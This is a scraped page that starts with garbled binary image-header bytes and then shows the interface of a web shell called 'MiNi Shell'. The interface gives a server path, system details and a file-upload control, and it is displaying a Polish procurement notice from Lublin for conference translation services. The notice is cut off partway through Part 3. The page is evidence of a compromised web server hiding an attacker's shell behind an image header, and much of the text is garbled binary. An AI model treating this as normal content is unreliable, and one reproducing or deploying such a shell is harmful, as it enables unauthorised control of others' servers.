JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20230804/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20230804/0034194601-N-2023.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Usługa wykonania tłumaczeń pisemnych, symultanicznych i konsekutywnych wraz z obsługą techniczną tłumaczeń podczas Kongresu Współpracy Transgranicznej Lublin 2023 i uroczystości Nadania tytułu... </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Gmina Lublin</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 431019514</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Pl. Króla Władysława Łokietka 1</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Lublin</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">20-109</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">lubelskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL814 - Lubelski</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">zamowienia@lublin.eu</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">https://lublin.eu</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - jednostka samorządu terytorialnego</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Ogólne usługi publiczne</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Usługa wykonania tłumaczeń pisemnych, symultanicznych i konsekutywnych wraz z obsługą techniczną tłumaczeń podczas Kongresu Współpracy Transgranicznej Lublin 2023 i uroczystości Nadania tytułu... </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-878a2444-1cc0-11ee-9aa3-96d3b4440790</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2023/BZP 00341946</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2023-08-04</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2023/BZP 00017684/35/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.19 Tłumaczenie pisemne - inicjatywa &#34;Młodzież dla miasta...&#34;</p> <p class="mb-0">1.3.36 Tłumaczenie ustne - inicjatywa &#34;Młodzież dla miasta...&#34;</p> <p class="mb-0">1.3.37 Tłumaczenie symultaniczne i obsługa techniczna - KWT 2023</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://ezamowienia.gov.pl/mp-client/search/list/ocds-148610-878a2444-1cc0-11ee-9aa3-96d3b4440790 <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">W niniejszym postępowaniu komunikacja między Zamawiającym a wykonawcami odbywa się przy użyciu Platformy e-Zamówienia, która jest dostępna pod adresem https://ezamowienia.gov.pl.</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">1. Korzystanie z Platformy e-Zamówienia jest bezpłatne.<br/>2. We wszelkiej korespondencji związanej z niniejszym postępowaniem należy posługiwać się numerem referencyjnym: ZP-PI.271.46.2023.<br/>3. Wykonawca zamierzający wziąć udział w postępowaniu o udzielenie zamówienia publicznego musi posiadać konto podmiotu<br/>„Wykonawca” na Platformie e-Zamówienia. Szczegółowe informacje na temat zakładania kont podmiotów oraz zasady i warunki<br/>korzystania z Platformy e-Zamówienia określa Regulamin Platformy e-Zamówienia, dostępny na stronie internetowej<br/>https://ezamowienia.gov.pl oraz informacje zamieszczone w zakładce „Centrum Pomocy”.<br/>4. Przeglądanie i pobieranie publicznej treści dokumentacji postępowania nie wymaga posiadania konta na Platformie e-Zamówienia<br/>ani logowania.<br/>5. Komunikacja w postępowaniu, z wyłączeniem składania ofert, odbywa się drogą elektroniczną za pośrednictwem formularzy do<br/>komunikacji dostępnych w zakładce „Formularze” („Formularze do komunikacji”). Za pośrednictwem „Formularzy do komunikacji”<br/>odbywa się w szczególności przekazywanie wezwań i zawiadomień oraz zadawanie pytań. Formularze do komunikacji umożliwiają<br/>również dołączenie załącznika do przesyłanej wiadomości (przycisk „dodaj załącznik”).<br/>6. Możliwość korzystania w postępowaniu z „Formularzy do komunikacji” w pełnym zakresie wymaga posiadania konta „Wykonawcy”<br/>na Platformie e-Zamówienia oraz zalogowania się na Platformie e-Zamówienia. Do korzystania z „Formularzy do komunikacji”<br/>służących do zadawania pytań dotyczących treści dokumentów zamówienia wystarczające jest posiadanie tzw. konta<br/>uproszczonego na Platformie e-Zamówienia.<br/>7. Wszystkie wysłane i odebrane w postępowaniu przez wykonawcę wiadomości widoczne są po zalogowaniu w podglądzie<br/>postępowania w zakładce „Komunikacja”.<br/>8. Maksymalny rozmiar plików przesyłanych za pośrednictwem „Formularzy do komunikacji” wynosi 150 MB (wielkość ta dotyczy<br/>plików przesyłanych jako załączniki do jednego formularza).<br/>9. Minimalne wymagania techniczne dotyczące sprzętu używanego w celu korzystania z usług Platformy e-Zamówienia oraz informacje dotyczące specyfikacji połączenia określa Regulamin Platformy e-Zamówienia.<br/>10. W szczególnie uzasadnionych przypadkach uniemożliwiających komunikację wykonawcy i Zamawiającego za pośrednictwem<br/>Platformy e-Zamówienia, Zamawiający dopuszcza komunikację za pomocą poczty elektronicznej na adres e-mail: zamowienia@lublin.eu (nie dotyczy składania ofert) – do wiadomości wykonawca zobowiązany jest dołączyć dowody potwierdzające awarię Platformy e-Zamówienia.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">1. Klauzula informacyjna z art. 13 RODO<br/>1.1. Zgodnie z art. 13 ust. 1 i 2 rozporządzenia Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie<br/>ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1), dalej „RODO”,<br/>Zamawiający informuje, że:<br/>1.1.1. Administratorem Pani/Pana danych osobowych jest Prezydent Miasta Lublin; dane adresowe: Plac Króla Władysława Łokietka<br/>1, 20–109 Lublin.<br/>1.1.2. Wyznaczyliśmy inspektora ochrony danych, z którym może Pani/Pan kontaktować się we wszystkich sprawach dotyczących<br/>przetwarzania danych osobowych oraz korzystania z praw związanych z przetwarzaniem danych poprzez: email: iod@lublin.eu lub<br/>pisemnie na adres Administratora danych. 1.1.3. Pani/Pana dane osobowe przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu związanym z niniejszym postępowaniem o udzielenie zamówienia publicznego.<br/>1.1.4. Odbiorcami Pani/Pana danych osobowych będą osoby lub podmioty, którym udostępniona zostanie dokumentacja postępowania w oparciu o art. 18-19 oraz art. 74-76 ustawy.<br/>1.1.5. Z danych osobowych będziemy korzystać do momentu zakończenia realizacji celu określonego w pkt 1.1.3 tj. zgodnie z art. 78<br/>ust. 1 ustawy, przez 4 lata od dnia zakończenia postępowania o udzielenie zamówienia. Po tym czasie z danych będziemy korzystać przez okres oraz w zakresie wymaganym przez przepisy powszechnie obowiązującego<br/>prawa.<br/>1.1.6. Obowiązek podania przez Panią/Pana danych osobowych bezpośrednio Pani/Pana dotyczących jest wymogiem ustawowym<br/>określonym w przepisach ustawy, związanym z udziałem w postępowaniu o udzielenie zamówienia publicznego; konsekwencje<br/>niepodania określonych danych wynikają z ustawy.<br/>1.1.7. W odniesieniu do Pani/Pana danych osobowych decyzje nie będą podejmowane w sposób zautomatyzowany, stosowanie do<br/>art. 22 RODO. 1.1.8. Posiada Pani/Pan:<br/>1.1.8.1. na podstawie art. 15 RODO prawo dostępu do danych osobowych Pani/Pana dotyczących,<br/>1.1.8.2. na podstawie art. 16 RODO prawo do sprostowania Pani/Pana danych osobowych,<br/>1.1.8.3. na podstawie art. 18 RODO prawo żądania od administratora ograniczenia przetwarzania danych osobowych z<br/>zastrzeżeniem przypadków, o których mowa w art. 18 ust. 2 RODO, 1.1.8.4. prawo do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych, gdy uzna Pani/Pan, że przetwarzanie danych osobowych Pani/Pana dotyczących narusza przepisy RODO.<br/>1.1.9. nie przysługuje Pani/Panu:<br/>1.1.9.1. w związku z art. 17 ust. 3 lit. b, d lub e RODO prawo do usunięcia danych osobowych,<br/>1.1.9.2. prawo do przenoszenia danych osobowych, o którym mowa w art. 20 RODO;<br/>1.1.9.3. na podstawie art. 21 RODO prawo sprzeciwu, wobec przetwarzania danych osobowych, gdyż podstawą prawną<br/>przetwarzania Pani/Pana danych osobowych jest art. 6 ust. 1 lit. c RODO.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">ZP-P-I.271.46.2023</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">3</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.14.) Określenie aspektów społecznych, środowiskowych lub etykiet w opisie przedmiotu zamówienia: </h3> <p class="mb-0">Zamawiający uwzględnił wymagania w zakresie dostępności dla osób niepełnosprawnych oraz projektowania z przeznaczeniem dla wszystkich użytkowników, zgodnie z art. 100 ust. 1 ustawy</p> <p class="mb-0">Zamawiający określił wymagania dotyczące wydajności lub funkcjonalności, zgodnie z art. 101 ust. 1 ustawy</p><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1. Zakres zamówienia obejmuje: <br/>1.1. Tłumaczenia pisemne z języka polskiego na język angielski i z języka angielskiego na język polski oraz z języka polskiego na język ukraiński i z języka ukraińskiego na język polski w ramach Inicjatywy „Młodzież dla Miasta, Miasto dla Młodzieży – projekty i inicjatywy angażujące i włączające lokalne społeczności” finansowanego w ramach Mechanizmu Finansowego EOG oraz Norweskiego Mechanizmu Finansowego na lata 2014-2021 a także w związku z organizacją Kongresu Współpracy Transgranicznej 2023 w dniach 9-11 października 2023 r. <br/>1.1.1. Wykonanie tłumaczeń pisemnych z języka polskiego na angielski i z języka angielskiego na język polski oraz z języka polskiego na ukraiński i z języka ukraińskiego na język polski dostarczonych przez Zamawiającego tekstów tj. informacji na stronę internetową oraz materiałów na potrzeby paneli, warsztatów i wizyt studyjnych, tekstów promocyjnych, życiorysów, regulaminów, umów z panelistami, programów, opisów paneli itp.,<br/>1.1.2. Minimalna ilość stron tekstu rozliczeniowego obejmującego tłumaczenia z języka polskiego na język angielski i z języka angielskiego na język polski wynosi 50 a maksymalna 100 oraz minimalna ilość stron tekstu rozliczeniowego obejmującego tłumaczenia z języka polskiego na język ukraiński i z języka ukraińskiego na język polski wynosi 50 a maksymalna 100 (łącznie maksymalnie 200 stron tekstu rozliczeniowego). <br/>1.1.3. Pod postacią 1 strony tekstu rozumie się 1800 znaków ze spacjami.<br/>1.1.4. Za znak uważa się wszystkie widoczne znaki drukarskie (litery, znaki przestankowe, cyfry, znaki przeniesienia itp.) oraz uzasadnione budową zdań przerwy między nimi.<br/>2. Przedmiot zamówienia w części 1 jest finansowany w ramach Inicjatywy „Młodzież dla Miasta, Miasto dla Młodzieży – projekty i inicjatywy angażujące i włączające lokalne społeczności” finansowanego w ramach Mechanizmu Finansowego EOG oraz Norweskiego Mechanizmu Finansowego na lata 2014-2021. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2023-12-15</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">aspekty społeczne, w tym integracja zawodowa i społeczna osób, o których mowa w art. 94 ust. 1 ustawy</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Zatrudnienie i/lub oddelegowanie osób niepełnosprawnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.3.11.) Określenie aspektów społecznych, środowiskowych lub innowacyjnych, etykiet lub rachunku kosztów cyklu życia w odniesieniu do kryteriów oceny ofert: </h3> <p class="mb-0">zgodnie z art. 242 ust. 2 ustawy - aspekty społeczne</p> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1. Zakres zamówienia obejmuje: <br/>1.1. Tłumaczenia symultaniczne wraz z obsługą techniczną oraz tłumaczenia konsekutywne podczas Kongresu Współpracy Transgranicznej Lublin 2023 w ramach Inicjatywy „Młodzież dla Miasta, Miasto dla Młodzieży – projekty i inicjatywy angażujące i włączające lokalne społeczności” finansowanego w ramach Mechanizmu Finansowego EOG oraz Norweskiego Mechanizmu Finansowego na lata 2014-2021 w związku z realizacją programu Europejskiej Stolicy Młodzieży 2023 w dniach 9-11 października 2023 r. w tym:<br/>1.1.1. Usługa wykonania tłumaczeń symultanicznych (kabinowych) z języka polskiego na język angielski i z języka angielskiego na język polski oraz z języka polskiego na język ukraiński i z języka ukraińskiego na język polski w terminie:<br/>a) 9 października br. w godz. 10.00 – 13.45 oraz 14:30 – 17:15 (sala główna);<br/>b) 10 października br. w godz. 09.30 – 12:15 (sala główna)<br/>c) 11 października br. w godz. 09.30 – 13.45 oraz 14:30 – 17:00 (sala główna)<br/>1.1.1.1. Transport i montaż w dniu 8 października 2023r. i demontaż w dniu 11 października 2023r. urządzeń przez Wykonawcę,<br/>1.1.1.2. Miejsce wykonania usługi: Hotel na terenie centrum Lublina- główna sala konferencyjna (tłumaczenie symultaniczne kabinowe PL-ENG-UA)<br/>1.1.1.3. Dokładne miejsce zostanie wskazane przez Zamawiającego najpóźniej na 7 dni kalendarzowych przed wydarzeniem.<br/>1.1.1.4. Wykonawca zobowiązany jest do zapewnienia sprzętu niezbędnego do kompleksowej obsługi tłumaczenia pomiędzy językami polskim, angielskim i ukraińskim wraz z obsługą techniczną podczas wydarzeń Kongresu w sali głównej.<br/>1.1.1.5. Usługę tłumaczeń na sali głównej będzie realizować łącznie 4 tłumaczy (po 2 na każdy język).<br/>1.1.1.6. Wydarzenia Kongresu na sali głównej będą streamowane on-line.<br/>1.1.1.7. Usługa obejmuje ponadto:<br/>a) udostępnienie sygnału z systemu tłumaczeń symultanicznych i dostarczenie go do studia poprzez złącza XLR w trzech odrębnych wersjach językowych,<br/>b) zapewnienie obsługi technicznej w zakresie obsługi sprzętu podczas Kongresu,<br/>c) zapewnienie dwóch 2-osobowych kabin do tłumaczeń (wraz z wyposażeniem) na salę główną<br/>d) zapewnienie odbiorników ze słuchawkami dla 100 osób.<br/>1.1.2. Tłumaczenia symultaniczne z użyciem systemu tour guide z języka polskiego na język angielski i z języka angielskiego na język polski dla 30 uczestników warsztatów:<br/>a) w dniu 9 października br.: 14:30-16:00 (sala boczna 1); 14:30-16:00 (sala boczna 2)<br/>b) w dniu 11 października br.: 11:15-12:15 (sala boczna 1)<br/>1.1.2.1. Miejsce wykonania usługi: hotel na terenie centrum Lublina - sale boczne 1 i 2 (tłumaczenie symultaniczne z użyciem systemu tour guide PL-ENG). <br/>1.1.2.2. Dokładne miejsce zostanie wskazane przez Zamawiającego najpóźniej na 7 dni kalendarzowych przed wydarzeniem.<br/> 1.1.2.3.Usługę tłumaczeń na salach bocznych będzie wykonywało min. 2 tłumaczy, w tym w dniu 9 października 2023 roku - 2 tłumaczy (po 1 tłumaczu na salę) oraz w dniu 11 października (1 tłumacz).<br/>1.1.2.4. Usługa obejmuje ponadto zapewnienie 30 szt. odbiorników systemu tour guide z przeznaczeniem do tłumaczenia na jedną salę boczną podczas 1 warsztatu oraz min. 1 osoba do obsługi technicznej.<br/>1.1.3. Tłumaczenie konsekutywne z języka polskiego na język angielski podczas 2 wizyt studyjnych.<br/>1) Każda z wizyt będzie trwała max. 2 godziny<br/>2) Wizyty odbędą się w 2 różnych miejscach wskazanych przez Zamawiającego na terenie Lublina obejmującego dni 9-11 października 2023 roku. <br/>3) Dokładna data, czas i miejsce zostaną wskazane najpóźniej na 7 dni kalendarzowych przed wydarzeniem. <br/>4) Wykonawca zapewni 2 tłumaczy z języka polskiego na język angielski.<br/>2. Przedmiot zamówienia w części 2 jest finansowany w ramach Inicjatywy „Młodzież dla Miasta, Miasto dla Młodzieży – projekty i inicjatywy angażujące i włączające lokalne społeczności” finansowanego w ramach Mechanizmu Finansowego EOG oraz Norweskiego Mechanizmu Finansowego na lata 2014-2021. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79540000-1 - Usługi w zakresie tłumaczeń ustnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal"> od 2023-10-08 do 2023-10-11</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">aspekty społeczne, w tym integracja zawodowa i społeczna osób, o których mowa w art. 94 ust. 1 ustawy</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Zatrudnienie i/lub oddelegowanie osób niepełnosprawnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.3.11.) Określenie aspektów społecznych, środowiskowych lub innowacyjnych, etykiet lub rachunku kosztów cyklu życia w odniesieniu do kryteriów oceny ofert: </h3> <p class="mb-0">zgodnie z art. 242 ust. 2 ustawy - aspekty społeczne</p> <h3 class="p-2 mt-4 bg-light">Część 3</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1.Zakres zamówienia obejmuje: <br/>1.1. Tłumaczenia symultaniczne podczas uroczystości Nadania tytułu Europejskiej Stolicy 